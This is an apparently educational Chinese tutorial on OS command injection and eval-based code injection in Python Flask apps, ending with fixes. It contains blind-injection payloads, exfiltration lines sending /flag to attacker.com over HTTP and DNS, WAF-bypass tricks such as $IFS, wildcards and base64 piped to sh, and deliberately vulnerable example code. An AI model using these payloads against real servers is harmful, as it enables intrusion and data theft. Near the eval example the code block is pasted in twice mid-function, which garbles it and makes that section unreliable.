在 Python Web 开发中,如果在处理用户输入时缺乏严格的过滤和验证,且错误地使用了高危函数,就极易导致命令执行(OS Command Injection)或代码执行(Code Injection)漏洞。攻击者一旦利用成功,通常可以直接获取服务器的控制权(RCE)。

OS命令执行漏洞

漏洞原理

当应用程序需要调用操作系统级命令来完成某些任务(如网络连通性测试 ping、文件处理等)时,如果将未经净化的用户输入直接拼接到了系统命令字符串中并执行,攻击者就可以通过注入系统命令分隔符(如 ;|&&||)来执行预期之外的恶意系统命令。

常见危险函数

  • os.system()
  • os.popen()
  • subprocess.Popen() / subprocess.run() / subprocess.call() (当参数 shell=True 时)
  • commands 模块下的函数(Python 2 环境)

假设一个 Flask Web 接口提供 ping 功能:

import os
from flask import request
 
@app.route('/ping')
def ping_host():
    ip = request.args.get('ip')
    # 危险!直接将用户输入拼接进系统命令
    cmd = "ping -c 4 " + ip
    result = os.popen(cmd).read()
    return result

攻击方式:如果用户传入 ip=127.0.0.1; id,实际执行的命令变成了 ping -c 4 127.0.0.1; id,系统会一并执行 id 命令并将结果返回。

常见类型

无回显的命令执行漏洞

常见的盲注探测与利用手法

当你怀疑某个参数存在命令注入,但页面没有任何报错或输出时,通常会使用以下三种方法进行测试和利用:

时间盲注

最简单直接的探测方法。通过注入耗时命令,观察服务器响应时间的延迟。

Payload 示例: 127.0.0.1; sleep 5127.0.0.1; ping -c 5 127.0.0.1

原理: 如果服务器过了 5 秒才返回那个“干瘪”的页面,说明 sleep 5 被成功执行了,漏洞存在。

输出重定向

这就是你在靶场中最终拿到 flag 的方法。既然网页不给我看,那我就把结果写到一个我能看到的地方。

Payload 示例: ; cat /flag > /tmp/flag.txt (或者写入到 Web 根目录下,如 /var/www/html/flag.txt,然后直接通过浏览器访问下载)。

原理: 利用 Linux 的重定向符 > 或 >>,将标准输出转存到系统内的其他文件。

带外数据提取 (Out-of-Band / OOB)

这是实战中最常用的高级手法(比如使用 DNSLog 或 Ceye)。当服务器不出网限制不严时,我们可以让目标服务器主动把执行结果“寄”到我们控制的服务器上。

HTTP 请求 Payload: ; curl http://attacker.com/?data=$(base64 /flag)

原理: 目标服务器执行 cat /flag 并进行 base64 编码,然后拼接到 URL 中,向攻击者的服务器发送 HTTP GET 请求。攻击者只需查看自己的服务器日志即可。

DNS 请求 Payload: ; ping -c 1 $(whoami).attacker.com

原理: 目标服务器解析域名时,会将执行命令的结果(如 root)作为子域名发送到攻击者的 DNS 服务器。

代码案例

import subprocess
import flask
 
app = flask.Flask(__name__)
 
@app.route("/assignment", methods=["GET"])
def challenge():
    # 接收用户输入,默认值为 /challenge/PWN
    arg = flask.request.args.get("absolute-path", "/challenge/PWN")
    # 危险:直接将用户输入拼接到系统命令中
    command = f"touch {arg}"
 
    # 执行命令
    result = subprocess.run(
        command, 
        shell=True,             # 危险:开启了 Shell 解析,允许 ; | & 等截断符
        stdout=subprocess.PIPE, 
        stderr=subprocess.STDOUT, 
        encoding="latin"
    )
 
    # 盲注的根源:虽然 result.stdout 中包含了命令的执行结果,
    # 但由于开发者粗心或业务逻辑需要,页面并没有把 result.stdout 渲染出来,
    # 而是只打印了 command 变量本身。
    return f"""
    <html><body>
    <b>Ran {command}!</b><br> 
    </body></html>
    """

WAF过滤

命令分隔符过滤绕过

当常见的 ;|& 被过滤时,我们可以利用系统本身支持的其他控制字符来截断命令。

  • 换行符绕过 (Newline): 在 URL 中表现为 %0a。在 Bash 中,换行符同样代表上一条命令的结束。
    • Payload: ip=127.0.0.1%0awhoami
  • 回车符绕过 (Carriage Return): 在 URL 中表现为 %0d
    • Payload:ip=127.0.0.1%0dwhoami

空格过滤绕过

当 WAF 过滤了空格字符( 或 %20)时,系统无法区分命令和参数,可以通过以下方式替换空格:

  • $IFS 环境变量: $IFS(Internal Field Separator)是 Linux 中的内部字段分隔符,默认值包含空格、制表符和换行符。
    • Payload: cat$IFS/flag
    • 进阶: 为了防止 Shell 将 $IFS 后面的字母也当作变量名的一部分,通常会结合大括号 ${IFS} 或追加一个空变量 $9(代表第9个参数,通常为空)来截断:
      • cat${IFS}/flag
      • cat$IFS$9/flag
    • 注意:在php中需要在$前加上\防止提前转义
  • 输入重定向符 <<>:
    • Payload:cat</flagcat<>/flag
  • Tab 键绕过: 在 URL 中表现为 %09
    • Payload:cat%09/flag

关键字过滤绕过 (如 cat, flag)

当特定的敏感词被拉黑时,可以通过 Shell 的解析特性来打断关键字,但仍保持命令的正常执行。

  • 引号/反斜杠拼接: Shell 遇到没有实际意义的单/双引号或反斜杠会自动忽略。
    • Payload: c""at /fl''ag
    • Payload: `c\at /fl\ag“
  • *通配符绕过 (? 和 _): 利用路径匹配。
    • Payload: /bin/c?? /fl* (匹配 /bin/cat /flag)
    • Payload: cat /fl[a-z]g
  • 变量拼接: 将关键字拆分赋值给多个变量,然后再拼接执行。
    • Payload:a=c;b=at;c=/fl;d=ag;$a$b $c$d

读取命令替换 (当 cat 被彻底封杀)

Linux 提供了众多不仅限于 cat 的文件读取命令:

  • tac: 反向输出文件内容(从最后一行开始)。
  • more / less: 分页显示文件内容。
  • head / tail: 打印文件开头/结尾的内容。
  • nl: 带有行号输出文件内容。
  • od -c: 以八进制(及 ASCII)转储文件内容,常用于绕过严格的纯文本过滤。
  • sort / uniq: 也可以间接用于输出文件内容。
  • 文本处理工具: awk '{print $0}' /flagsed -n '1,$p' /flag

编码与命令执行绕过

如果过滤规则极其严格(比如限制了字母或特定符号),可以考虑在本地将恶意命令进行 Base64 或十六进制编码,然后在目标服务器上解码并执行。

  • Base64 解码执行:

    • 原理: 将 cat /flag 编码为 Y2F0IC9mbGFn

    • Payload: echo "Y2F0IC9mbGFn" | base64 -d | shecho "Y2F0IC9mbGFn" | base64 -d | bash

防御与修复

  • 避免使用 shell=True:在使用 subprocess 模块时,坚决不要使用 shell=True

  • 参数列表化传递:将命令和参数作为列表传递给 subprocess,这样 Python 会将其作为单个参数处理,而不是交给 shell 解析。

import subprocess
from flask import request
 
@app.route('/secure_ping')
def secure_ping():
    ip = request.args.get('ip')
    # 安全!以列表形式传入参数,且 shell=False(默认)
    try:
        result = subprocess.run(["ping", "-c", "4", ip], capture_output=True, text=True, timeout=5)
        return result.stdout
    except Exception as e:
        return "Error occurred."

代码执行漏洞 (Code Execution)

漏洞原理

代码执行漏洞是指应用程序将用户输入的数据当作 Python 源代码进行动态解析和执行。由于 Python 是动态语言,提供了强大的反射和动态执行机制,如果滥用这些机制,后果不堪设想。

常见危险函数

  • eval():执行传入的 Python 表达式。
  • exec():执行传入的动态 Python 语句块。
  • compile():将字符串编译为字节代码,可与 eval/exec 结合使用。

漏洞示例 (非安全代码)

假设一个基于 Python 的计算器 Web 接口:

from flask import request
 
@app.route('/calculate')
deimport subprocess
import flask
 
app = flask.Flask(__name__)
 
@app.route("/assignment", methods=["GET"])
def challenge():
    # 接收用户输入,默认值为 /challenge/PWN
    arg = flask.request.args.get("absolute-path", "/challenge/PWN")
    # 危险:直接将用户输入拼接到系统命令中
    command = f"touch {arg}"
 
    # 执行命令
    result = subprocess.run(
        command, 
        shell=True,             # 危险:开启了 Shell 解析,允许 ; | & 等截断符
        stdout=subprocess.PIPE, 
        stderr=subprocess.STDOUT, 
        encoding="latin"
    )
 
    # 盲注的根源:虽然 result.stdout 中包含了命令的执行结果,
    # 但由于开发者粗心或业务逻辑需要,页面并没有把 result.stdout 渲染出来,
    # 而是只打印了 command 变量本身。
    return f"""
    <html><body>
    <b>Ran {command}!</b><br> 
    </body></html>
    """import subprocess
import flask
 
app = flask.Flask(__name__)
 
@app.route("/assignment", methods=["GET"])
def challenge():
    # 接收用户输入,默认值为 /challenge/PWN
    arg = flask.request.args.get("absolute-path", "/challenge/PWN")
    # 危险:直接将用户输入拼接到系统命令中
    command = f"touch {arg}"
 
    # 执行命令
    result = subprocess.run(
        command, 
        shell=True,             # 危险:开启了 Shell 解析,允许 ; | & 等截断符
        stdout=subprocess.PIPE, 
        stderr=subprocess.STDOUT, 
        encoding="latin"
    )
 
    # 盲注的根源:虽然 result.stdout 中包含了命令的执行结果,
    # 但由于开发者粗心或业务逻辑需要,页面并没有把 result.stdout 渲染出来,
    # 而是只打印了 command 变量本身。
    return f"""
    <html><body>
    <b>Ran {command}!</b><br> 
    </body></html>
    """f calculate():
    expression = request.args.get('expr')
    # 危险!直接使用 eval 解析用户输入的数学表达式
    result = eval(expression)
    return str(result)

攻击方式: 攻击者不会输入 1+1,而是输入 __import__('os').system('whoami')eval 会将其作为 Python 代码执行。

防御与修复

  • 绝对禁止将不可信的用户输入传入 eval()exec()
  • 使用安全的替代方案:如果必须解析类似于 Python 数据结构的字符串(如字典、列表、数字),请使用 ast.literal_eval()。它只解析基础的字面量表达式,不会执行任何函数调用或复杂逻辑。
import ast
 
# 安全:ast.literal_eval 会在遇到恶意代码时抛出 ValueError
safe_result = ast.literal_eval("{'key': 1, 'value': 2}")